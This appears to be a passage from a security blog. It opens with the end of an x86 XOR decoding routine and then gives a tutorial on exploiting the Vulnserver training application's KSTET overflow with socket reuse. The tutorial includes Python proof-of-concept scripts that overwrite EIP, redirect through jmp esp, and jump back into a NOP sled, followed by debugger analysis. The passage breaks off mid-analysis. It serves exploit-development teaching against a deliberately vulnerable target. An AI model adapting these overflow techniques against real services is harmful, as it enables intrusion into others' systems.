class="p">]</span> <span class="nf">jmp</span> <span class="nv">xor_eof</span> <span class="nl">xor_b:</span> <span class="nf">lea</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x41414142</span><span class="p">]</span> <span class="nf">jmp</span> <span class="nv">xor_eof</span> <span class="nl">xor_d:</span> <span class="nf">lea</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x41414144</span><span class="p">]</span> <span class="nf">jmp</span> <span class="nv">xor_eof</span> <span class="nl">xor_4:</span> <span class="nf">lea</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x41414134</span><span class="p">]</span> <span class="nf">jmp</span> <span class="nv">xor_eof</span> <span class="nl">xor_a:</span> <span class="nf">lea</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x41414141</span><span class="p">]</span> <span class="nf">jmp</span> <span class="nv">xor_eof</span> <span class="nl">xor_eof:</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="nb">ebp</span><span class="p">]</span> <span class="nf">sub</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">ecx</span> <span class="nf">xor</span> <span class="p">[</span><span class="nb">eax</span><span class="p">],</span> <span class="nb">ebx</span> <span class="nf">sub</span> <span class="kt">dword</span> <span class="p">[</span><span class="nb">eax</span><span class="p">],</span> <span class="mh">0x01010101</span> <span class="nf">sub</span> <span class="nb">ecx</span><span class="p">,</span> <span class="mh">0x4</span> <span class="nf">xor</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">eax</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">eax</span> <span class="nf">jnz</span> <span class="nv">short_loop_jmp</span> <span class="nf">int3</span> <span class="nf">int3</span> <span class="nf">int3</span> <span class="nf">int3</span> </code></pre></div></div> <h2 id="original-broken-payload">Original (Broken) Payload</h2> <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">global</span> <span class="nv">_start</span> <span class="nf">section</span> <span class="nv">.text</span> <span class="nl">_start:</span> <span class="c1">; set the frame pointer</span> <span class="nf">mov</span> <span class="nb">ebp</span><span class="p">,</span> <span class="nb">esp</span> <span class="c1">; clear required registers</span> <span class="nf">xor</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">eax</span> <span class="nf">xor</span> <span class="nb">ebx</span><span class="p">,</span> <span class="nb">ebx</span> <span class="nf">xor</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">ecx</span> <span class="nf">xor</span> <span class="nb">edx</span><span class="p">,</span> <span class="nb">edx</span> <span class="c1">; Challenge 1: stack push broken with loading into eax register</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x7f7f1312</span><span class="p">]</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x157b2f22</span><span class="p">]</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x13247312</span><span class="p">]</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x087b0423</span><span class="p">]</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x73287022</span><span class="p">]</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x30280912</span><span class="p">]</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x3b162f20</span><span class="p">]</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x360e1919</span><span class="p">]</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x157b0913</span><span class="p">]</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x757b0960</span><span class="p">]</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x70167510</span><span class="p">]</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x2d162f25</span><span class="p">]</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x73241923</span><span class="p">]</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x09167527</span><span class="p">]</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x1a772b0c</span><span class="p">]</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x37787217</span><span class="p">]</span> <span class="c1">; calculate size of password and store in $ecx</span> <span class="nf">lea</span> <span class="nb">ecx</span><span class="p">,</span> <span class="p">[</span><span class="nb">ebp</span><span class="p">]</span> <span class="nf">sub</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">esp</span> <span class="c1">; begin xor on the encoded password</span> <span class="nl">decode_loop:</span> <span class="c1">; if at dword 12, xor with F</span> <span class="nf">lea</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x14</span><span class="p">]</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edx</span> <span class="nf">jz</span> <span class="nv">xor_f</span> <span class="c1">; if at dword 11, xor with E</span> <span class="nf">lea</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x18</span><span class="p">]</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edx</span> <span class="nf">jz</span> <span class="nv">xor_e</span> <span class="c1">; if at dword 10, xor with E</span> <span class="nf">lea</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x1c</span><span class="p">]</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edx</span> <span class="nf">jz</span> <span class="nv">xor_e</span> <span class="c1">; if at dword 9, xor with B</span> <span class="nf">lea</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x20</span><span class="p">]</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edx</span> <span class="nf">jz</span> <span class="nv">xor_b</span> <span class="c1">; if at dword 8, xor with D</span> <span class="nf">lea</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x24</span><span class="p">]</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edx</span> <span class="nf">jz</span> <span class="nv">xor_d</span> <span class="c1">; if at dword 7, xor with 4</span> <span class="nf">lea</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x28</span><span class="p">]</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edx</span> <span class="nf">jz</span> <span class="nv">xor_4</span> <span class="c1">; if at dword 6, xor with E</span> <span class="nf">lea</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x2c</span><span class="p">]</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edx</span> <span class="nf">jz</span> <span class="nv">xor_e</span> <span class="c1">; if at dword 3, xor with D</span> <span class="nf">lea</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x38</span><span class="p">]</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edx</span> <span class="nf">jz</span> <span class="nv">xor_d</span> <span class="c1">; if at none of the unique indexes</span> <span class="c1">; xor with A.</span> <span class="nf">jmp</span> <span class="nv">xor_a</span> <span class="nl">short_loop_jmp:</span> <span class="nf">jmp</span> <span class="nv">decode_loop</span> <span class="nl">xor_f:</span> <span class="nf">lea</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x41414146</span><span class="p">]</span> <span class="nf">jmp</span> <span class="nv">xor_eof</span> <span class="nl">xor_e:</span> <span class="nf">lea</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x41414145</span><span class="p">]</span> <span class="nf">jmp</span> <span class="nv">xor_eof</span> <span class="nl">xor_b:</span> <span class="nf">lea</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x41414142</span><span class="p">]</span> <span class="nf">jmp</span> <span class="nv">xor_eof</span> <span class="nl">xor_d:</span> <span class="nf">lea</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x41414144</span><span class="p">]</span> <span class="nf">jmp</span> <span class="nv">xor_eof</span> <span class="nl">xor_4:</span> <span class="nf">lea</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x41414134</span><span class="p">]</span> <span class="nf">jmp</span> <span class="nv">xor_eof</span> <span class="nl">xor_a:</span> <span class="nf">lea</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x41414141</span><span class="p">]</span> <span class="nf">jmp</span> <span class="nv">xor_eof</span> <span class="nl">xor_eof:</span> <span class="nf">lea</span> <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="nb">ebp</span><span class="p">]</span> <span class="nf">sub</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">ecx</span> <span class="nf">xor</span> <span class="p">[</span><span class="nb">eax</span><span class="p">],</span> <span class="nb">ebx</span> <span class="nf">sub</span> <span class="kt">dword</span> <span class="p">[</span><span class="nb">eax</span><span class="p">],</span> <span class="mh">0x01010101</span> <span class="nf">sub</span> <span class="nb">ecx</span><span class="p">,</span> <span class="mh">0x4</span> <span class="nf">xor</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">eax</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">eax</span> <span class="c1">; Challenge 2: jnz changed to jz</span> <span class="nf">jz</span> <span class="nv">short_loop_jmp</span> <span class="nf">int3</span> <span class="nf">int3</span> <span class="nf">int3</span> <span class="nf">int3</span> </code></pre></div></div> Sun, 18 Aug 2019 00:00:00 +0000 Using Socket Reuse to Exploit Vulnserver /using-socket-reuse-to-exploit-vulnserver/ /using-socket-reuse-to-exploit-vulnserver/ <p>When creating exploits, sometimes you may run into a scenario where your payload space is significantly limited. There are usually a magnitude of ways that you can work around this, one of those ways, which will be demonstrated in this post, is socket reuse.</p> <h2 id="what-is-socket-reuse">What is Socket Reuse?</h2> <p>Before we dive into a practical example, it’s important to cover some basics as to how network based applications work. Although the target audience of this post will most likely know this, let’s go over it for completeness sake!</p> <p>Below is a small diagram (courtesy of <a href="https://www.cs.dartmouth.edu/~campbell/cs60/socketprogramming.html">Dartmouth</a>) which illustrates the sequence of function calls that will typically be found in a client-server application:</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/TCPsockets.jpg" alt="" /></p> <p>As you can see, before any connection is made from either the server or client, a socket is first created. A socket can then either be passed to a <code class="language-plaintext highlighter-rouge">listen</code> function (indicating that it should listen for new connections and accept them), or passed to a <code class="language-plaintext highlighter-rouge">connect</code> function (indicating it should connect to another socket that is listening elsewhere); simple stuff.</p> <p>Now, as a socket represents a connection to another host, if you have access to it - you can freely call the corresponding <code class="language-plaintext highlighter-rouge">send</code> or <code class="language-plaintext highlighter-rouge">recv</code> functions to perform network operations. This is the end goal of a socket reuse exploit.</p> <p>By identifying the location of a socket, it is possible to listen for more data using the <code class="language-plaintext highlighter-rouge">recv</code> function and dump it into an area of memory that it can then be executed from - all with only a handful of instructions that should fit into even small payload spaces.</p> <p>You may be asking - why not just create a new socket? The reason for this, is that a socket is bound to a port - meaning you are not able to create a new socket on a port that is already in use. If you were to create a socket listening on a different port altogether, it would lose reliability given most targets would typically be behind a firewall.</p> <h2 id="tools-required-to-follow-along">Tools Required to Follow Along</h2> <p>For the demonstration in this post, I’ll be using the 32-bit version of <a href="https://x64dbg.com">x64dbg</a> running on Windows 10. The same steps will most likely work in most other debuggers too, but x64dbg is my program of choice!</p> <h2 id="creating-the-initial-exploit">Creating the Initial Exploit</h2> <p>Now that you’re hopefully caught up on how socket programming works, let’s dive in. To demonstrate this concept, we’ll be using the Vulnserver application developed by Stephen Bradshaw which you can grab on GitHub from: <a href="https://github.com/stephenbradshaw/vulnserver">https://github.com/stephenbradshaw/vulnserver</a></p> <p>Rather than explaining the initial overflow, we’ll start off with the proof of concept below, which will overwrite EIP with <code class="language-plaintext highlighter-rouge">\x42\x42\x42\x42</code>. We will then build upon this through this post:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span> <span class="kn">import</span> <span class="nn">socket</span> <span class="kn">import</span> <span class="nn">sys</span> <span class="n">host</span> <span class="o">=</span> <span class="s">'10.2.0.129'</span> <span class="n">port</span> <span class="o">=</span> <span class="mi">9999</span> <span class="nb">buffer</span> <span class="o">=</span> <span class="s">'KSTET '</span> <span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x41</span><span class="s">'</span> <span class="o">*</span> <span class="mi">70</span> <span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x42</span><span class="s">'</span> <span class="o">*</span> <span class="mi">4</span> <span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x43</span><span class="s">'</span> <span class="o">*</span> <span class="mi">500</span> <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> <span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span> <span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="nb">buffer</span><span class="p">)</span> <span class="n">s</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> </code></pre></div></div> <p>If we load <code class="language-plaintext highlighter-rouge">vulnserver.exe</code> up in x64dbg and fire the exploit at it as is, we will be able to see that at the point of crash, the stack pointer [<code class="language-plaintext highlighter-rouge">$esp</code>] is pointing to the area that directly follows the EIP overwrite.</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0001.jpg" alt="" /></p> <p>Although we sent a total of 500 bytes in this position, this has been heavily truncated to only 20 bytes. This is a big problem, as this won’t suffice for the operations we wish to carry out. However, we do have the full 70 byte <code class="language-plaintext highlighter-rouge">\x41</code> island that precedes the EIP overwrite at our disposal. As long as we can pass execution into the 20 byte island that follows the overwrite, we can do a short jump back into the 70 byte island.</p> <p>As the <code class="language-plaintext highlighter-rouge">$esp</code> register is pointing at the 20 byte island, the first thing we need to do is locate an executable area of memory that contains a <code class="language-plaintext highlighter-rouge">jmp esp</code> instruction which is unaffected by ASLR so we can reliably hardcode our exploit to return to this address.</p> <p>In x64dbg, we can do this by inspecting the <code class="language-plaintext highlighter-rouge">Memory Map</code> tab and looking at what DLLs are being used. In this case, we can see there is only one DLL of interest which is <code class="language-plaintext highlighter-rouge">essfunc.dll</code>.</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0002.jpg" alt="" /></p> <p>If we take note of the base address of this DLL (in this case, <code class="language-plaintext highlighter-rouge">0x62500000</code>), we can then go over to the <code class="language-plaintext highlighter-rouge">Log</code> tab and run the command <code class="language-plaintext highlighter-rouge">imageinfo 62500000</code> to retrieve information from the PE header of the DLL and see that the <code class="language-plaintext highlighter-rouge">DLL Characteristics</code> flag is set to <code class="language-plaintext highlighter-rouge">0</code>; meaning no protections such as ASLR or DEP are enabled.</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0003.jpg" alt="" /></p> <p>Now that we know we can reliably hardcode addresses found in this DLL, we need to find a jump that we can use. To do this, we need to go back to the <code class="language-plaintext highlighter-rouge">Memory Map</code> tab and double click the only memory section marked as executable (noted by the <code class="language-plaintext highlighter-rouge">E</code> flag under the <code class="language-plaintext highlighter-rouge">Protection</code> column).</p> <p>In this case, we are double clicking on the <code class="language-plaintext highlighter-rouge">.text</code> section, which will then lead us back to the <code class="language-plaintext highlighter-rouge">CPU</code> tab. Once here, we can search for an instruction by either using the <code class="language-plaintext highlighter-rouge">CTRL+F</code> keyboard shortcut, or right clicking and selecting <code class="language-plaintext highlighter-rouge">Search for &gt; Current Region &gt; Command</code>. In the window that appears, we can now enter the expression we want to search for, in this case <code class="language-plaintext highlighter-rouge">JMP ESP</code>:</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0004.jpg" alt="" /></p> <p>After hitting OK on the previous dialog, we will now see several instances of <code class="language-plaintext highlighter-rouge">jmp esp</code> that have been identified in the <code class="language-plaintext highlighter-rouge">.text</code> section of <code class="language-plaintext highlighter-rouge">essfunc.dll</code>. For this example, we will take the address of the first one (<code class="language-plaintext highlighter-rouge">0x625011AF</code>).</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0005.jpg" alt="" /></p> <p>Now that we have an address of a <code class="language-plaintext highlighter-rouge">jmp esp</code> instruction that will take us to the 20 byte island after the EIP overwrite, we can replace <code class="language-plaintext highlighter-rouge">\x42\x42\x42\x42</code> in our exploit with said address (keep in mind, this needs to be in reverse order due to the use of little endian).</p> <p>Our code will now look like this:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span> <span class="kn">import</span> <span class="nn">socket</span> <span class="kn">import</span> <span class="nn">sys</span> <span class="n">host</span> <span class="o">=</span> <span class="s">'10.2.0.129'</span> <span class="n">port</span> <span class="o">=</span> <span class="mi">9999</span> <span class="nb">buffer</span> <span class="o">=</span> <span class="s">'KSTET '</span> <span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x41</span><span class="s">'</span> <span class="o">*</span> <span class="mi">70</span> <span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\xaf\x11\x50\x62</span><span class="s">'</span> <span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x43</span><span class="s">'</span> <span class="o">*</span> <span class="mi">500</span> <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> <span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span> <span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="nb">buffer</span><span class="p">)</span> <span class="n">s</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> </code></pre></div></div> <p>Before running the exploit again, a breakpoint should be placed at <code class="language-plaintext highlighter-rouge">0x625011af</code> (i.e. our <code class="language-plaintext highlighter-rouge">jmp esp</code> instruction). To do this, jump to the offset by either double clicking the result in the <code class="language-plaintext highlighter-rouge">References</code> tab, or use the <code class="language-plaintext highlighter-rouge">CTRL+G</code> shortcut to open the expression window and enter <code class="language-plaintext highlighter-rouge">0x625011af</code>.</p> <p>Once here, toggle the breakpoint using the context menu or by pressing F2 with the relevant instruction highlighted.</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0006.jpg" alt="" /></p> <p>If we now run the exploit again, we will hit the breakpoint and after stepping into the call, we will be taken to our 20 byte island of <code class="language-plaintext highlighter-rouge">0x43</code>.</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0008.jpg" alt="" /></p> <p>Now that we can control execution, we need to jump back to the start of the 70 byte island as mentioned earlier. To do this, we can use a short jump to go backwards. Rather than calculating the exact offset manually, x64dbg can do the heavy lifting for us here!</p> <p>If we scroll up the <code class="language-plaintext highlighter-rouge">CPU</code> tab to find the start of the 70 byte island containing the <code class="language-plaintext highlighter-rouge">\x41</code> bytes, we can see there is a <code class="language-plaintext highlighter-rouge">0x41</code> at <code class="language-plaintext highlighter-rouge">0x0110f980</code> and also two which directly precede that.</p> <p><strong>Note: This address will be different for you, make sure to follow along and use the address that is appropriate for you</strong></p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0009.jpg" alt="" /></p> <p>We cannot copy the address of the first 2 bytes, but we can instead subtract 2 bytes from <code class="language-plaintext highlighter-rouge">0x0110f980</code> to get the address <code class="language-plaintext highlighter-rouge">0x0110f97e</code>. Now, if we go back to where <code class="language-plaintext highlighter-rouge">$esp</code> is pointing and double click the instruction there (specifically the <code class="language-plaintext highlighter-rouge">inc ebx</code> text), or press the space bar whilst the instruction is highlighted, we will enter the <code class="language-plaintext highlighter-rouge">Assemble</code> screen.</p> <p>In here, we can enter <code class="language-plaintext highlighter-rouge">jmp 0x0110f97e</code>, hit <code class="language-plaintext highlighter-rouge">OK</code> and it will automatically calculate the distance and create a short jump for us; in this case, <code class="language-plaintext highlighter-rouge">EB B4</code>.</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0011.jpg" alt="" /></p> <p>We can verify this by either following the arrow on the left side of the instructions, or by highlighting the edited instruction again and clicking the <code class="language-plaintext highlighter-rouge">G</code> key to generate the graph view. If correct, the <code class="language-plaintext highlighter-rouge">jmp</code> should go to the start of the <code class="language-plaintext highlighter-rouge">\x41</code> island.</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0010.jpg" alt="" /></p> <p>We can now update the exploit to include this instruction before the <code class="language-plaintext highlighter-rouge">\x43</code> island that was previously in place and replace the remaining bytes in both the 70 byte and 20 byte islands with NOP sleds so that we can work with them a bit easier later when we are assembling our exploit in the debugger.</p> <p>After making these changes, the exploit should look like this:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span> <span class="kn">import</span> <span class="nn">socket</span> <span class="kn">import</span> <span class="nn">sys</span> <span class="n">host</span> <span class="o">=</span> <span class="s">'10.2.0.129'</span> <span class="n">port</span> <span class="o">=</span> <span class="mi">9999</span> <span class="nb">buffer</span> <span class="o">=</span> <span class="s">'KSTET '</span> <span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x90</span><span class="s">'</span> <span class="o">*</span> <span class="mi">70</span> <span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\xaf\x11\x50\x62</span><span class="s">'</span> <span class="c1"># jmp esp </span><span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\xeb\xb4</span><span class="s">'</span> <span class="c1"># jmp 0x0110f97e </span><span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x90</span><span class="s">'</span> <span class="o">*</span> <span class="mi">500</span> <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> <span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span> <span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="nb">buffer</span><span class="p">)</span> <span class="n">s</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> </code></pre></div></div> <p>If we execute the exploit again, we will now find ourselves in the 70 byte NOP sled that precedes the initial EIP overwrite:</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0012.jpg" alt="" /></p> <h2 id="analysis--socket-hunting">Analysis &amp; Socket Hunting</h2> <p>Now that the run of the mill stuff is finally done with, we can get to the more interesting part!</p> <p><em>It should be noted, at this point I rebooted the VM that I was working in, which resulted in the base address changing from what is seen in the previous screenshots. Although this doesn’t affect the exploit as we are not using any absolute addresses outside of <code class="language-plaintext highlighter-rouge">essfunc.dll</code>, I am pointing it out to save any confusion should anyone notice it!</em></p> <p>The first thing we need to do before we can start putting together any code is to figure out where we can find the socket that the data our exploit is sending is being received on. If you recall from the earlier section of this post, the function calls follow the pattern of <code class="language-plaintext highlighter-rouge">socket() &gt; listen() &gt; accept() &gt; recv()</code> if a server is accepting incoming connections and then receiving data from the client.</p> <p>With this in mind, we should restart the application and let it pause at the entry point (the second breakpoint that is automatically added) and begin to search for these system calls. As the Vulnserver application is quite simple, we don’t have to search very far. By scrolling down through the instructions we can find the point at which the welcome message is sent to the client (which is sent after the client connects) and the subsequent call to <code class="language-plaintext highlighter-rouge">recv</code> that precedes the processing of the command sent by the end user:</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0013.jpg" alt="" /></p> <p>If we now place a breakpoint on the <code class="language-plaintext highlighter-rouge">call &lt;JMP.&amp;recv&gt;</code> instruction and resume execution, we will be able to inspect the arguments that are being passed to the function on the stack.</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0014.jpg" alt="" /></p> <p>Without any context, these values will make no sense. Thankfully, detailed documentation of these functions is provided by Microsoft. In this case, we can find the documentation of the <code class="language-plaintext highlighter-rouge">recv</code> function at <a href="https://docs.microsoft.com/en-us/windows/desktop/api/winsock/nf-winsock-recv">https://docs.microsoft.com/en-us/windows/desktop/api/winsock/nf-winsock-recv</a>.</p> <p>As can be seen in the documentation, the signature of the <code class="language-plaintext highlighter-rouge">recv</code> function is:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">recv</span><span class="p">(</span> <span class="n">SOCKET</span> <span class="n">s</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">int</span> <span class="n">len</span><span class="p">,</span> <span class="kt">int</span> <span class="n">flags</span> <span class="p">);</span> </code></pre></div></div> <p>This now allows us to make sense of the arguments that we can see sat on the stack.</p> <ul> <li>The first argument (on the top of the stack) is the socket file descriptor; in this, case the value <code class="language-plaintext highlighter-rouge">0x128</code>.</li> <li>The second argument is the buffer, i.e. a pointer to the area of memory that the data received via the socket will be stored. In this case, it will store the received data at <code class="language-plaintext highlighter-rouge">0x006a3408</code></li> <li>The third argument is the amount of data to expect. This has been set at <code class="language-plaintext highlighter-rouge">0x1000</code> bytes (4096 bytes)</li> <li>The final argument is the flags that influence the behaviour of the function. As the default behaviour is being used, this is set to <code class="language-plaintext highlighter-rouge">0</code></li> </ul> <p>If we now step <strong>over</strong> the call to <code class="language-plaintext highlighter-rouge">recv</code>, and then jump to <code class="language-plaintext highlighter-rouge">0x006a3408</code> in the dump tab, we will see the full payload that was sent by the exploit:</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0015.jpg" alt="" /></p> <p>With an understanding of the function call now in hand, we need to figure out how we can find that socket descriptor once more to use in our own call to <code class="language-plaintext highlighter-rouge">recv</code>. As this value can change every time a new connection is made, it cannot be hard coded (that would be too easy!).</p> <p>Before moving on, be sure to double click the <code class="language-plaintext highlighter-rouge">call</code> instruction and make note of the address that <code class="language-plaintext highlighter-rouge">recv</code> is found at; we will need this later. In this case, it can be found at <code class="language-plaintext highlighter-rouge">0x0040252C</code>:</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0025.jpg" alt="" /></p> <p>If we now allow the program to execute until we reach our NOP sled once more, we will run into a problem. When we look at where the file descriptor was initially on the stack when the program called <code class="language-plaintext highlighter-rouge">recv</code> (i.e. <code class="language-plaintext highlighter-rouge">0x0107f9c8</code>), it is no longer there - our overflow has overwritten it!</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0016.jpg" alt="" /></p> <p>Although our buffer reaches just far enough to overwrite the arguments that are passed to <code class="language-plaintext highlighter-rouge">recv</code>, the file descriptor will still exist somewhere in memory. If we restart the program and pause at the call to <code class="language-plaintext highlighter-rouge">recv</code> again, we can start to analyse how it finds the file descriptor in a bit more depth.</p> <p>As the socket is the first argument passed to <code class="language-plaintext highlighter-rouge">recv</code> / the last argument to be pushed on to the stack, we need to find the last operation to place something on the stack before the call to <code class="language-plaintext highlighter-rouge">recv</code>. Conveniently, this appears directly above the <code class="language-plaintext highlighter-rouge">call</code> instruction and is a <code class="language-plaintext highlighter-rouge">mov</code> that moves the value stored in <code class="language-plaintext highlighter-rouge">$eax</code> to the address pointed to by <code class="language-plaintext highlighter-rouge">$esp</code> (i.e. the top of the stack).</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0013b.jpg" alt="" /></p> <p>Directly above that instruction, is a <code class="language-plaintext highlighter-rouge">mov</code> which moves the value in <code class="language-plaintext highlighter-rouge">$ebp-420</code> into <code class="language-plaintext highlighter-rouge">$eax</code> (i.e. <code class="language-plaintext highlighter-rouge">0x420</code> [blazeit] bytes below the frame pointer). 